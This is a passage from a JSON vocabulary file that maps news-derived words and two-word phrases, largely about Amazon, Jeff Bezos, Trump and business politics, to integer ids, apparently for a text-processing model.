3bn": 107768, "unpaid taxes": 107769, "house sources": 107770, "deliver lengthy": 107771, "facilitate automatic": 107772, "1982 high": 107773, "firecracker uses": 107774, "lucrative technology": 107775, "area considerable": 107776, "workforce": 107777, "soccer stunt": 107778, "storm knocked": 107779, "summit historical": 107780, "cat fights": 107781, "unlimited financial": 107782, "denim jacket": 107783, "work quick": 107784, "really stinks": 107785, "unanimity": 107786, "manager trust": 107787, "major clue": 107788, "voter thought": 107789, "sacks reviewed": 107790, "prognosticators": 107791, "quite right": 107792, "washington geekwire": 107793, "wire cnl_filelocation": 107794, "mediabuzz": 107795, "introduce shelf": 107796, "soliciting prostitution": 107797, "deforestation energy": 107798, "sheet obtained": 107799, "marketers": 107800, "followed soon": 107801, "amortization": 107802, "magazine click": 107803, "vip tours": 107804, "kavanaugh minutes": 107805, "day1 hinting": 107806, "jann arden": 107807, "crudely": 107808, "300 retail": 107809, "notes shira": 107810, "old juggernaut": 107811, "rude": 107812, "expectations sending": 107813, "facebook company": 107814, "trouble ted": 107815, "advisor mira": 107816, "kansas city": 107817, "allegedly launched": 107818, "409 different": 107819, "amazon kicked": 107820, "successfully employed": 107821, "devastation": 107822, "gradually helping": 107823, "aswath": 107824, "humphrey amzn": 107825, "billionaire capitalist": 107826, "flooding comment": 107827, "prodding amazon": 107828, "rick perry": 107829, "female dominated": 107830, "amazon refused": 107831, "byline kate": 107832, "sails": 107833, "mal": 107834, "awayne3 bloomberg": 107835, "drug war": 107836, "education transportation": 107837, "coveted acquisition": 107838, "build towers": 107839, "profitable using": 107840, "critical numbers": 107841, "suprising": 107842, "continually teasing": 107843, "sanchez suspecting": 107844, "craft regulatory": 107845, "obama launching": 107846, "later andthat": 107847, "guggenheim": 107848, "bezos case": 107849, "craig claiborne": 107850, "audacity emma": 107851, "wasted boy": 107852, "steer private": 107853, "earnings floor": 107854, "buzzfeed alum": 107855, "staff reince": 107856, "bramer specifically": 107857, "zipper": 107858, "including microsoft": 107859, "mln": 107860, "sales ft": 107861, "rightnow": 107862, "major business": 107863, "policymaking body": 107864, "public letter": 107865, "guest": 107866, "winning film": 107867, "aviation assets": 107868, "warplanes capturing": 107869, "roundtable hosted": 107870, "federal approval": 107871, "tariff uncertainty": 107872, "regarding selling": 107873, "contractors association": 107874, "729 shares": 107875, "2016 kidman": 107876, "ban advertising": 107877, "412": 107878, "costs grow": 107879, "ordered administration": 107880, "crusaded": 107881, "employees seattle": 107882, "sent multiple": 107883, "coded": 107884, "hat velvet": 107885, "major jump": 107886, "happily lifted": 107887, "prince harry": 107888, "bezos stopped": 107889, "overcome sound": 107890, "chin hui": 107891, "928 2000": 107892, "books forever": 107893, "jon effective": 107894, "proper balance": 107895, "barely higher": 107896, "sellers 3p": 107897, "new direction": 107898, "push competition": 107899, "strengthen delivery": 107900, "scrutinize amazon": 107901, "opportunities investors": 107902, "compounded": 107903, "wikipedia": 107904, "drama based": 107905, "radioactive": 107906, "deputy shot": 107907, "time shooting": 107908, "housing trends": 107909, "jobs share": 107910, "longer history": 107911, "called right": 107912, "press schiff": 107913, "huge project": 107914, "debut thriller": 107915, "departments army": 107916, "department approved": 107917, "amazon canceled": 107918, "special royal": 107919, "sajni": 107920, "memoir": 107921, "upscale department": 107922, "tdy1rrxyabos6nze": 107923, "products available": 107924, "russia did": 107925, "exactly worker": 107926, "hospitals conducted": 107927, "important industrial": 107928, "associate director": 107929, "biggest potential": 107930, "comparative advantage": 107931, "dominance online": 107932, "press quoted": 107933, "carl levin": 107934, "night considering": 107935, "martina kitchen": 107936, "fall 2017": 107937, "shepardson": 107938, "world rightnow": 107939, "speaking fee": 107940, "collapse data": 107941, "suspends apps": 107942, "weekly column": 107943, "capital group": 107944, "street lights": 107945, "knows quite": 107946, "parents mike": 107947, "clarified": 107948, "taxes trade": 107949, "billion plus": 107950, "expensing": 107951, "robust demand": 107952, "4th pick": 107953, "trade official": 107954, "contract oracle": 107955, "cohngary": 107956, "secular leader": 107957, "valley weekday": 107958, "angry vocal": 107959, "amazon kushner": 107960, "warn": 107961, "historical voting": 107962, "malign": 107963, "sellers 300": 107964, "reportedly stalled": 107965, "computer clicking": 107966, "names report": 107967, "india new": 107968, "theorist robert": 107969, "day howard": 107970, "following news": 107971, "blyons timesunion": 107972, "false detections": 107973, "melodrama involving": 107974, "political fray": 107975, "senator brother": 107976, "remembered grammys": 107977, "companies sent": 107978, "handling partners": 107979, "lols": 107980, "upper 40s": 107981, "signature blonde": 107982, "people nationally": 107983, "contradictory comments": 107984, "human reality": 107985, "ice acts": 107986, "government department": 107987, "privacy issues": 107988, "uber appear": 107989, "aws benefits": 107990, "big vote": 107991, "presence represents": 107992, "uber singular": 107993, "prices suggests": 107994, "entire cohort": 107995, "necessarily translate": 107996, "management llc": 107997, "wonka golden": 107998, "department contracting": 107999, "ctsh ceo": 108000, "budged": 108001, "typically takes": 108002, "napoleon": 108003, "housing project": 108004, "communications npr": 108005, "apple forked": 108006, "reasons sanders": 108007, "maria teresa": 108008, "based united": 108009, "programs job": 108010, "letter national": 108011, "staff regarding": 108012, "help copyright": 108013, "britain talks": 108014, "attempted monopolisation": 108015, "illegal mining": 108016, "ministry officials": 108017, "tweets aloud": 108018, "near monopoly": 108019, "time employee": 108020, "rochfort": 108021, "huang": 108022, "schwarzenegger serves": 108023, "currently flowing": 108024, "enormous company": 108025, "obama": 108026, "writer producer": 108027, "increased readership": 108028, "home jpg": 108029, "peace officers": 108030, "rules transit": 108031, "lore understands": 108032, "betty buckley": 108033, "produce original": 108034, "warns mike": 108035, "romantic backstory": 108036, "miami helps": 108037, "lost sales": 108038, "intelligence service": 108039, "level employees": 108040, "cbs exec": 108041, "increasingly furious": 108042, "query impeach": 108043, "media linked": 108044, "luminaid company": 108045, "service secretive": 108046, "ritual": 108047, "reuters year": 108048, "barr curt": 108049, "david hogg": 108050, "country character": 108051, "romulus amazon": 108052, "sean hannity": 108053, "experienced torture": 108054, "provide material": 108055, "productive treasury": 108056, "quite padded": 108057, "appear quickly": 108058, "story hsbc": 108059, "ubiquitous subject": 108060, "say tweeting": 108061, "damaged protections": 108062, "city told": 108063, "fiction best": 108064, "foundation million": 108065, "trump runaway": 108066, "fanfare shortly": 108067, "offer says": 108068, "create icky": 108069, "prime indispensable": 108070, "galsgaard": 108071, "old playbook": 108072, "claimed negotiations": 108073, "classification issues": 108074, "balancing insight": 108075, "provides safety": 108076, "warehouse trash": 108077, "59bn": 108078, "news sinclair": 108079, "dismissed": 108080, "player unequipped": 108081, "virginia restaurant": 108082, "development transaction": 108083, "willvote": 108084, "cibc executive": 108085, "alcohol": 108086, "officials testify": 108087, "busty": 108088, "sources regularly": 108089, "listed companies": 108090, "pardon love": 108091, "order houses": 108092, "shopping does": 108093, "headlamp willing": 108094, "colbert vinnie": 108095, "2019 relive": 108096, "man bluster": 108097, "area house": 108098, "trump complains": 108099, "w9x arguments": 108100, "relationship old": 108101, "alibaba content": 108102, "products making": 108103, "leadup": 108104, "office including": 108105, "michael cohen": 108106, "centers inaccurate": 108107, "quarter 2019": 108108, "amazon jefferies": 108109, "255": 108110, "reactid 145": 108111, "prison given": 108112, "3p buy": 108113, "revenue arrangements": 108114, "reap profits": 108115, "baby monitors": 108116, "esquire turn": 108117, "network ousted": 108118, "glenn zaccara": 108119, "garrard": 108120, "world creative": 108121, "bombastic bluster": 108122, "financial transactions": 108123, "health technology": 108124, "eevvf news": 108125, "lavrentiy beria": 108126, "rights including": 108127, "4bkk4jff1g southpaw": 108128, "timberg": 108129, "email concluded": 108130, "showtime family": 108131, "44871788 dudes": 108132, "discriminate instead": 108133, "chayes politics": 108134, "place strategies": 108135, "just roll": 108136, "bailingon": 108137, "strip located": 108138, "twilight zone": 108139, "skulls": 108140, "drawn inspiration": 108141, "rights notechforice": 108142, "care assistance": 108143, "single blaze": 108144, "remote silver": 108145, "tani": 108146, "paint power": 108147, "corona": 108148, "woodard": 108149, "comprehending": 108150, "hurt american": 108151, "orianna webb": 108152, "including senate": 108153, "violations based": 108154, "strict regulations": 108155, "teen shot": 108156, "office definitely": 108157, "theywanted": 108158, "ex fixer": 108159, "experience knowledge": 108160, "hire americans": 108161, "bolsonaro number": 108162, "circulated images": 108163, "traveler": 108164, "approval": 108165, "fake version": 108166, "darby real": 108167, "action trump": 108168, "arlington national": 108169, "utterly different": 108170, "amazon publicly": 108171, "500 votes": 108172, "individual contributions": 108173, "ideals celebrated": 108174, "different topics": 108175, "crimes committed": 108176, "short lived": 108177, "increased sales": 108178, "kosovar": 108179, "porter": 108180, "purple felt": 108181, "philanthropy bezos": 108182, "decades residents": 108183, "costumes": 108184, "iphone family": 108185, "bumpy": 108186, "announce major": 108187, "double standard": 108188, "fiscally": 108189, "worse inaction": 108190, "comment david": 108191, "apprehension trump": 108192, "stores rost": 108193, "indicate dramatic": 108194, "david andelman": 108195, "probably unfamiliar": 108196, "weighs 243": 108197, "evening readers": 108198, "incredibly profitable": 108199, "earth awakening": 108200, "roland": 108201, "chancellor angela": 108202, "create hundreds": 108203, "appropriate stop": 108204, "rare statement": 108205, "cronyism recipient": 108206, "reyes latino": 108207, "ideology death": 108208, "political lines": 108209, "community ceo": 108210, "won nasa": 108211, "llc federal": 108212, "candidate pecker": 108213, "cut funding": 108214, "specific request": 108215, "inc_staid inc_serid": 108216, "afternoon rain": 108217, "crisis democrat": 108218, "measure competition": 108219, "romper price": 108220, "59th annual": 108221, "glossy": 108222, "narrow defeat": 108223, "took motion": 108224, "fun new": 108225, "famous movie": 108226, "maga americafirst": 108227, "court order": 108228, "deal appeared": 108229, "west snl": 108230, "accepting": 108231, "fiscal quarter": 108232, "including creating": 108233, "conference calls": 108234, "gonna hire": 108235, "retailers signed": 108236, "bumper": 108237, "press national": 108238, "key sources": 108239, "driven growth": 108240, "420 million": 108241, "sustained": 108242, "queen elizabeth": 108243, "transnational crime": 108244, "hw": 108245, "administration unproven": 108246, "burned trees": 108247, "election left": 108248, "climbed": 108249, "espinal pass": 108250, "males novelty": 108251, "month deadly": 108252, "index dropped": 108253, "yay": 108254, "code words": 108255, "anonymous turkish": 108256, "technology today": 108257, "faux merchandise": 108258, "service pension": 108259, "dance lauren": 108260, "rejected ibm": 108261, "missing link": 108262, "revolution nasa": 108263, "betway": 108264, "nextgov dem": 108265, "backcountry": 108266, "story donovan": 108267, "asserted trump": 108268, "pecker trump": 108269, "sharply worded": 108270, "setting privacy": 108271, "enjoys playing": 108272, "mccabe interview": 108273, "amsterdam": 108274, "criticism new": 108275, "data image": 108276, "608m": 108277, "histories": 108278, "save life": 108279, "software": 108280, "noted lower": 108281, "itunes stitcher": 108282, "entire sector": 108283, "2139393959": 108284, "waited": 108285, "teens black": 108286, "high ethical": 108287, "play profound": 108288, "politicians": 108289, "bezos camp": 108290, "evacuate trump": 108291, "firewalled crosstalk": 108292, "heated competition": 108293, "backgrounds": 108294, "queen europe": 108295, "wolf 1pm": 108296, "marketwatch investors": 108297, "national sheriffs": 108298, "sheer ability": 108299, "appeal": 108300, "continue nevada": 108301, "builds software": 108302, "american politics": 108303, "cycle analyst": 108304, "driver retrieve": 108305, "slashing korean": 108306, "economic issues": 108307, "chrome browser": 108308, "2bvwxqnatl bernie": 108309, "netflix fortnite": 108310, "samar chair": 108311, "rough year": 108312, "antitrust commercial": 108313, "expectations bit": 108314, "smartphone apps": 108315, "seen maxine": 108316, "2015 failing": 108317, "warehouse says": 108318, "previously saw": 108319, "business owning": 108320, "hogg admits": 108321, "ct": 108322, "magazine madison": 108323, "transport buses": 108324, "security officials": 108325, "infants separated": 108326, "evaluation kearney": 108327, "doubt sees": 108328, "homeless individual": 108329, "forecasts demand": 108330, "timed quite": 108331, "compromising information": 108332, "trump interference": 108333, "mountaintops": 108334, "000 raised": 108335, "books barack": 108336, "payment commerce": 108337, "insatiable ambition": 108338, "oakley friend": 108339, "tractor": 108340, "promotion culture": 108341, "customers hold": 108342, "strategies routinely": 108343, "situation depends": 108344, "wildly inflated": 108345, "beauty slow": 108346, "2020 disney": 108347, "level tech": 108348, "achieving 100": 108349, "instructed michael": 108350, "communist manifesto": 108351, "contributions image": 108352, "netflix revealed": 108353, "gabbana brexit": 108354, "converting buildings": 108355, "huge volume": 108356, "player 507": 108357, "scandal alongside": 108358, "2019 pretty": 108359, "restaurants including": 108360, "good reporting": 108361, "mike cidoni": 108362, "signed itlast": 108363, "bezos dispute": 108364, "websites according": 108365, "concerns bookbinder": 108366, "entries": 108367, "google design": 108368, "just figure": 108369, "say publicly": 108370, "pet price": 108371, "paperbacks": 108372, "anymore brian": 108373, "gizmodo amazon": 108374, "founder stefano": 108375, "federal contracts": 108376, "offer faster": 108377, "post staffers": 108378, "complaints amounted": 108379, "glowingly time": 108380, "pour resources": 108381, "year means": 108382, "stores bizarrely": 108383, "successful delivery": 108384, "fancy prep": 108385, "adopted just": 108386, "services la": 108387, "tall according": 108388, "old rumors": 108389, "legal policy": 108390, "purdue acted": 108391, "economy congressional": 108392, "strategy tech": 108393, "fearnside": 108394, "main provider": 108395, "body represents": 108396, "graham says": 108397, "reportedly making": 108398, "fairy constantly": 108399, "federal post": 108400, "open space": 108401, "letter seemingly": 108402, "action note": 108403, "cerrado providing": 108404, "bright spot": 108405, "v4 a4ee": 108406, "cnn explains": 108407, "southland": 108408, "labor department": 108409, "shen": 108410, "raining outside": 108411, "trading giant": 108412, "technologies weboost": 108413, "gary condit": 108414, "oil executives": 108415, "source win": 108416, "script src": 108417, "256": 108418, "customer code": 108419, "mckinley": 108420, "nupro small": 108421, "vlad": 108422, "nearly 158": 108423, "witherspoon": 108424, "appreciate gasol": 108425, "expansion network": 108426, "560 words": 108427, "drone test": 108428, "comment mark": 108429, "group atsg": 108430, "stories grace": 108431, "ala": 108432, "just public": 108433, "egg website": 108434, "usps thought": 108435, "meddling russian": 108436, "normal request": 108437, "apparent fear": 108438, "diagraming": 108439, "truthers": 108440, "increasingly uneasy": 108441, "63b": 108442, "minute press": 108443, "unique threat": 108444, "passed incentive": 108445, "inquiry leads": 108446, "textile waste": 108447, "uber insider": 108448, "free just": 108449, "300x520 getty_173218731_200015422000928060_388160": 108450, "says crc": 108451, "investor apparently": 108452, "news outlet": 108453, "retail offerings": 108454, "trump starring": 108455, "229 acquisitions": 108456, "midway": 108457, "compare anonymous": 108458, "dc disclosures": 108459, "chord": 108460, "afford forklift": 108461, "endless": 108462, "leahy": 108463, "beer drinkers": 108464, "financial drag": 108465, "ate octopus": 108466, "regime accountable": 108467, "ap elon": 108468, "million exemption": 108469, "swamp threatens": 108470, "peccadilloes": 108471, "close working": 108472, "throughthis": 108473, "number does": 108474, "ja oa": 108475, "receptionist anna": 108476, "buddy cop": 108477, "issues surrounding": 108478, "nickriccardi": 108479, "ceo fred": 108480, "photos bezos": 108481, "handout photographer": 108482, "china jolts": 108483, "rated false": 108484, "injuries new": 108485, "atlas": 108486, "david bates": 108487, "big trade": 108488, "help wrangle": 108489, "valuation": 108490, "small fine": 108491, "local bids": 108492, "level rise": 108493, "cut favoring": 108494, "genuinely want": 108495, "edition according": 108496, "sharing partnership": 108497, "pearl": 108498, "complain": 108499, "2030 fully": 108500, "law meaning": 108501, "readily available": 108502, "administration unfairly": 108503, "indigenous people": 108504, "summing": 108505, "tweeted game": 108506, "trump lives": 108507, "forte says": 108508, "onset routine": 108509, "changed world": 108510, "morning patty": 108511, "euro gates": 108512, "lou": 108513, "amazon kudlow": 108514, "comment severe": 108515, "arrival ceremony": 108516, "mon": 108517, "juicy story": 108518, "deforestation stopped": 108519, "street deregulation": 108520, "style political": 108521, "615 level": 108522, "hbo cuts": 108523, "delivery mistake": 108524, "outsiders": 108525, "largest retailers": 108526, "zuckerberg spent": 108527, "acted amid": 108528, "emails point": 108529, "1tn 771": 108530, "saudi prince": 108531, "index adding": 108532, "tolled": 108533, "struggling washington": 108534, "company business": 108535, "gram": 108536, "hogan desk": 108537, "prices according": 108538, "right roots": 108539, "fishing boat": 108540, "eu negotiators": 108541, "retail iconimageurl": 108542, "icann organisation": 108543, "vestager did": 108544, "indian caste": 108545, "driving hey": 108546, "amazon discount": 108547, "consumer tastes": 108548, "comcast ventures": 108549, "industry coalition": 108550, "delisted google": 108551, "president position": 108552, "russian bank": 108553, "theorize": 108554, "industries cope": 108555, "real": 108556, "product marketing": 108557, "nation toughest": 108558, "taken quite": 108559, "rotten tomatoes": 108560, "amazon encourage": 108561, "saudi journalist": 108562, "cuar\u00f3n memory": 108563, "leader kevin": 108564, "grow trump": 108565, "antitrust considerations": 108566, "film distribution": 108567, "major pharmacy": 108568, "monopoly hammer": 108569, "systemic liberal": 108570, "netflix dark": 108571, "near 400": 108572, "ago certain": 108573, "white floral": 108574, "vanilla": 108575, "latest fiscal": 108576, "people protesting": 108577, "aleksej": 108578, "serrano": 108579, "becker did": 108580, "industries including": 108581, "key figures": 108582, "adores": 108583, "isdocumentvisible": 108584, "freshman member": 108585, "standing match": 108586, "letter congresswoman": 108587, "mind people": 108588, "spheres opening": 108589, "amazon theirs": 108590, "reports indicate": 108591, "committees energy": 108592, "delivery models": 108593, "whetlor": 108594, "ecosystem devitt": 108595, "counterfeits navarro": 108596, "politician svitlana": 108597, "gdp": 108598, "amazon magnate": 108599, "hospital": 108600, "inaccessible healthcare": 108601, "riley listens": 108602, "interview ap": 108603, "running away": 108604, "modest fee": 108605, "yesterday rep": 108606, "7d change": 108607, "minds": 108608, "onesies": 108609, "acting properly": 108610, "includes recorded": 108611, "inverted yield": 108612, "emails detailing": 108613, "higher conor": 108614, "shad": 108615, "specific policy": 108616, "trump bezos": 108617, "relatively unscathed": 108618, "manager douglas": 108619, "warren mass": 108620, "ban conservatives": 108621, "bushy sock": 108622, "public perceptions": 108623, "facebookand": 108624, "facebook helps": 108625, "darla shine": 108626, "example republican": 108627, "285 960": 108628, "tool political": 108629, "khakis": 108630, "payer government": 108631, "added fast": 108632, "hogan called": 108633, "cans constant": 108634, "license": 108635, "powerful hollywood": 108636, "legacy marc": 108637, "grim fiscal": 108638, "amazon profitability": 108639, "toys electronics": 108640, "close magnitude": 108641, "deliver answers": 108642, "republicans nyt": 108643, "worth million": 108644, "ebony": 108645, "sending": 108646, "brightly": 108647, "election 2018": 108648, "polizzotti": 108649, "twisting": 108650, "tips drop": 108651, "obtained sexually": 108652, "sportswear colm": 108653, "repatriated overseas": 108654, "tax exemptions": 108655, "far updated": 108656, "aaron francisco": 108657, "company commitment": 108658, "customers enhancing": 108659, "racks": 108660, "mish": 108661, "make horribly": 108662, "elections democrats": 108663, "jobs grove": 108664, "wholesale orders": 108665, "salesman knew": 108666, "computing": 108667, "alias availabe": 108668, "fin advisory": 108669, "called trumpnation": 108670, "understand tariffs": 108671, "occ": 108672, "weeks ago": 108673, "prime john": 108674, "ethnic changes": 108675, "voters personal": 108676, "sequel dear": 108677, "chariman": 108678, "target perceived": 108679, "kristen miller": 108680, "lures": 108681, "divorcing great": 108682, "bluefin": 108683, "lewis tropical": 108684, "middle kingdom": 108685, "soft watch": 108686, "journalism rock": 108687, "conference room": 108688, "house does": 108689, "intercept glenn": 108690, "joey gibson": 108691, "group leader": 108692, "things fueling": 108693, "news tonight": 108694, "elite daily": 108695, "matter lot": 108696, "kqed california": 108697, "interview ahead": 108698, "white flint": 108699, "called message": 108700, "oecd estimated": 108701, "liberty justice": 108702, "recommended products": 108703, "shed hiv": 108704, "suddenly dies": 108705, "team email": 108706, "week shoppers": 108707, "sanders proposed": 108708, "morgan health": 108709, "tom barrack": 108710, "lubomirski": 108711, "numbers gm": 108712, "expensive stock": 108713, "joan jmac8560": 108714, "news charlie": 108715, "2018 schlage": 108716, "trump asserting": 108717, "economic advantage": 108718, "tyranny warrant": 108719, "airbnb reddit": 108720, "gout": 108721, "projects process": 108722, "coming quarters": 108723, "protected content": 108724, "governor evelyn": 108725, "infidelities": 108726, "doggo doesn": 108727, "economist thanks": 108728, "cornacchioni president": 108729, "correspondents facebook": 108730, "enquirer paying": 108731, "arcane": 108732, "story target": 108733, "investors appeared": 108734, "tweets shows": 108735, "city griffeth": 108736, "price hike": 108737, "wiretaps": 108738, "2016 critics": 108739, "administration especially": 108740, "eu watchdog": 108741, "appraisals": 108742, "switched gears": 108743, "india american": 108744, "outperform outperform": 108745, "overwhelming numbers": 108746, "bankruptcy don": 108747, "deep baritone": 108748, "faragher": 108749, "trump hear": 108750, "craft goods": 108751, "unfounded": 108752, "reported net": 108753, "retail section": 108754, "nobel": 108755, "certainly signals": 108756, "ei direct": 108757, "gun sales": 108758, "information actually": 108759, "wal mart": 108760, "comment toyota": 108761, "rates bank": 108762, "suspended sgf": 108763, "hike vigorously": 108764, "congress lacks": 108765, "accounts identifying": 108766, "videos": 108767, "voters thought": 108768, "workaround": 108769, "130 recipes": 108770, "football games": 108771, "engel turns": 108772, "a4ee m0": 108773, "40am st": 108774, "criminal sex": 108775, "compensated": 108776, "routinely attacks": 108777, "world sending": 108778, "hq2 landing": 108779, "lobbying effort": 108780, "niagara": 108781, "animal parts": 108782, "billion unlike": 108783, "navy": 108784, "weboost": 108785, "costs 2018": 108786, "industry shares": 108787, "leaf logo": 108788, "slightly rich": 108789, "faram navy": 108790, "released earlier": 108791, "balderson": 108792, "sounds reasonable": 108793, "brief supporting": 108794, "customers house": 108795, "article navarro": 108796, "curtain": 108797, "housing devel": 108798, "received wide": 108799, "internet existed": 108800, "fielded": 108801, "tech stocks": 108802, "multiple sclerosis": 108803, "outcome reminds": 108804, "fbi enemies": 108805, "prospects thanks": 108806, "2018 available": 108807, "investigators suspicions": 108808, "publicly defended": 108809, "registered trademark": 108810, "visual": 108811, "mari mypov": 108812, "incur restructuring": 108813, "year coming": 108814, "proceedings nadler": 108815, "editor clifford": 108816, "marginal": 108817, "trick": 108818, "important values": 108819, "current thinking": 108820, "federal regulations": 108821, "excess gold": 108822, "silver supporting": 108823, "report defied": 108824, "hanukkah": 108825, "companies rates": 108826, "talks elizabeth": 108827, "actively working": 108828, "world says": 108829, "provider costar": 108830, "previously planned": 108831, "mlyn": 108832, "emmanuel": 108833, "led pepsi": 108834, "activists outside": 108835, "officials debunk": 108836, "mccoll jr": 108837, "bookrollouts": 108838, "finance selecting": 108839, "hard work": 108840, "mirror earlier": 108841, "bombshell": 108842, "snoqualmiepass": 108843, "yes peek": 108844, "trump claimed": 108845, "force reviewing": 108846, "amazon testifies": 108847, "law late": 108848, "known": 108849, "privileged position": 108850, "coniam 2018": 108851, "entails": 108852, "aris": 108853, "373": 108854, "wobble reuters": 108855, "anathema": 108856, "unsettled": 108857, "large portion": 108858, "road arnade": 108859, "carjacker wanted": 108860, "approval rating": 108861, "hiring staffers": 108862, "newsom eric": 108863, "121 million": 108864, "walmart doesn": 108865, "boost shopper": 108866, "ej": 108867, "hawked": 108868, "term elections": 108869, "thomas grech": 108870, "houses large": 108871, "futures fall": 108872, "visible accomplishing": 108873, "government pay": 108874, "big dog": 108875, "unveils revolutionary": 108876, "drafts": 108877, "longer hold": 108878, "typically begins": 108879, "lobbyist sydney": 108880, "broadcast verizon": 108881, "mayor apologizes": 108882, "h\u00e4ns": 108883, "vibration warned": 108884, "television political": 108885, "growing packages": 108886, "records theft": 108887, "key presidential": 108888, "alter": 108889, "stock proshare": 108890, "dutifully report": 108891, "179 900": 108892, "business launched": 108893, "133 billion": 108894, "dubious claim": 108895, "mwpvl": 108896, "kushner private": 108897, "unerring": 108898, "edge giant": 108899, "neal cbs": 108900, "contained": 108901, "govenors": 108902, "turning point": 108903, "quid pro": 108904, "crisply handled": 108905, "brett theodos": 108906, "enlarge chris": 108907, "direct authority": 108908, "416": 108909, "indexes suffered": 108910, "customer permission": 108911, "money investors": 108912, "letting companies": 108913, "campaign thousand": 108914, "cocktails look": 108915, "economy making": 108916, "teaneck": 108917, "columns": 108918, "abroad especially": 108919, "liquor": 108920, "military spouses": 108921, "helping refugees": 108922, "additionally stock": 108923, "2017 email": 108924, "memoir birds": 108925, "budget governor": 108926, "men practically": 108927, "mid century": 108928, "head megan": 108929, "sachs nyse": 108930, "pander": 108931, "human elements": 108932, "good strength": 108933, "batwoman": 108934, "expected twitter": 108935, "traditional banking": 108936, "multiple unsubstantiated": 108937, "anticipated releases": 108938, "best investigations": 108939, "supposed justification": 108940, "kuns2yxmsg": 108941, "taking": 108942, "spectacle surrounding": 108943, "different way": 108944, "burtless": 108945, "constant bombardment": 108946, "werneck": 108947, "attracting": 108948, "seeing steep": 108949, "anachronistic costing": 108950, "received snap": 108951, "geo": 108952, "papers investigation": 108953, "1919": 108954, "line appears": 108955, "wrote referring": 108956, "ridiculous twitter": 108957, "contorted": 108958, "adam minter": 108959, "evangelicals reputation": 108960, "bolton visited": 108961, "highlighted alibaba": 108962, "posted statement": 108963, "david partenheimer": 108964, "economy policy": 108965, "storage 4gb": 108966, "stupid things": 108967, "quiet plaudits": 108968, "adverse action": 108969, "doesn owner": 108970, "y19g327dpi booboo": 108971, "won layoff": 108972, "press yesterday": 108973, "volz": 108974, "2020 governor": 108975, "machine gun": 108976, "globalization small": 108977, "tech citizen": 108978, "maval": 108979, "massive logistics": 108980, "1977": 108981, "trump history": 108982, "delaware montana": 108983, "term advantage": 108984, "publicly suggested": 108985, "party agenda": 108986, "point holgate": 108987, "times german": 108988, "education committee": 108989, "convene": 108990, "trump words": 108991, "software firm": 108992, "chinese communist": 108993, "evans": 108994, "matthew": 108995, "analyst ken": 108996, "boil": 108997, "attack amazon": 108998, "difficult euro": 108999, "uv": 109000, "news bob": 109001, "parliament agrees": 109002, "rukh khan": 109003, "falling poll": 109004, "based events": 109005, "follower larger": 109006, "black vote": 109007, "setbacks haven": 109008, "vast right": 109009, "average worker": 109010, "thumb large": 109011, "strike spokesman": 109012, "europe including": 109013, "today shares": 109014, "mario draghi": 109015, "longer ignore": 109016, "tech products": 109017, "merchant": 109018, "estimates makes": 109019, "michele walkau": 109020, "company queens": 109021, "earnings calls": 109022, "program launched": 109023, "distribution field": 109024, "total ban": 109025, "transnational companies": 109026, "firecracker": 109027, "hotman paris": 109028, "trump frustrations": 109029, "wapo meeting": 109030, "results released": 109031, "offers don": 109032, "believers": 109033, "data bond": 109034, "packages carlos": 109035, "standard shirtless": 109036, "overturn roe": 109037, "studied reticence": 109038, "don offer": 109039, "transnational": 109040, "naps immediately": 109041, "personally tweeted": 109042, "shifted strategies": 109043, "immediate access": 109044, "people jeffbozo": 109045, "kent reported": 109046, "says michael": 109047, "time barring": 109048, "renae merle": 109049, "buying supplier": 109050, "reported hq2": 109051, "livable wage": 109052, "forest whitaker": 109053, "new cars": 109054, "asked brightly": 109055, "case just": 109056, "beltway ives": 109057, "direct aim": 109058, "sputnik 14th": 109059, "think ice": 109060, "solely aimed": 109061, "johnson nyse": 109062, "nbfcs accessing": 109063, "frank": 109064, "people watched": 109065, "mailchimp cofounders": 109066, "emotions": 109067, "hurts mom": 109068, "business relationships": 109069, "despite rough": 109070, "post erica": 109071, "pursuing massive": 109072, "gates outside": 109073, "fake human": 109074, "claims court": 109075, "obviously generated": 109076, "dents": 109077, "barletta": 109078, "billionaire schultz": 109079, "15k": 109080, "company hasn": 109081, "roy arundhati": 109082, "shies": 109083, "2018 thanks": 109084, "fraud pecker": 109085, "inflation threat": 109086, "tj reddick": 109087, "training discounts": 109088, "clearance products": 109089, "anti religious": 109090, "sienna college": 109091, "point share": 109092, "steep taxes": 109093, "receive coverage": 109094, "abrasive": 109095, "investing": 109096, "nturner7 bloomberg": 109097, "tun": 109098, "photo monica": 109099, "shifted": 109100, "basement warehouse": 109101, "unfortunately": 109102, "cost spikes": 109103, "just pupil": 109104, "emails published": 109105, "brad smith": 109106, "service governors": 109107, "declining market": 109108, "trade touching": 109109, "robinson meyer": 109110, "compares trump": 109111, "natch": 109112, "bond movies": 109113, "home furnishings": 109114, "gal": 109115, "management predicted": 109116, "dawn": 109117, "intimate insight": 109118, "henry cuellar": 109119, "largest business": 109120, "fairness trump": 109121, "thinks": 109122, "increasingly shifting": 109123, "2018 time": 109124, "hartman": 109125, "stop disparaging": 109126, "federal investigators": 109127, "landless workers": 109128, "significantly increased": 109129, "pallets": 109130, "vendors cisco": 109131, "drivers drop": 109132, "enthusiastically endorsing": 109133, "freezes": 109134, "active owlfirstitem": 109135, "frantically throwing": 109136, "provocations": 109137, "city footprint": 109138, "financial news": 109139, "superheroes": 109140, "mayor baraka": 109141, "large leap": 109142, "banking friends": 109143, "bezos succeeds": 109144, "researchers hope": 109145, "red ready": 109146, "revenue estimates": 109147, "aneurisms levi": 109148, "vary": 109149, "rebecca": 109150, "tech apple": 109151, "darker": 109152, "queens council": 109153, "consistently disclose": 109154, "redirecting": 109155, "list cnbc": 109156, "wealth rose": 109157, "legendary washington": 109158, "business ventures": 109159, "staunch souls": 109160, "access 50eb2d087826a77e5d000001": 109161, "week oliver": 109162, "offers combination": 109163, "report bezos": 109164, "survivor weather": 109165, "enteprise institute": 109166, "client did": 109167, "billionaire george": 109168, "usa products": 109169, "southwest newest": 109170, "opened preliminary": 109171, "ar technology": 109172, "afloat amazon": 109173, "star lin": 109174, "phrase tourists": 109175, "dsi": 109176, "office credit": 109177, "called crime": 109178, "memphian": 109179, "sensibility mayor": 109180, "destructive": 109181, "suggested range": 109182, "photo frames": 109183, "christopher chris": 109184, "china calculation": 109185, "400 point": 109186, "wapo": 109187, "000 politically": 109188, "mapoli": 109189, "trump notably": 109190, "dangerous new": 109191, "gold watch": 109192, "nydj": 109193, "loyola law": 109194, "chip slowdown": 109195, "practices stand": 109196, "sarasara uv": 109197, "senate intel": 109198, "margin border": 109199, "cover shoot": 109200, "childhood": 109201, "google duplex": 109202, "persuade judge": 109203, "man sincerely": 109204, "purchase": 109205, "unarmed black": 109206, "162 billion": 109207, "weiner": 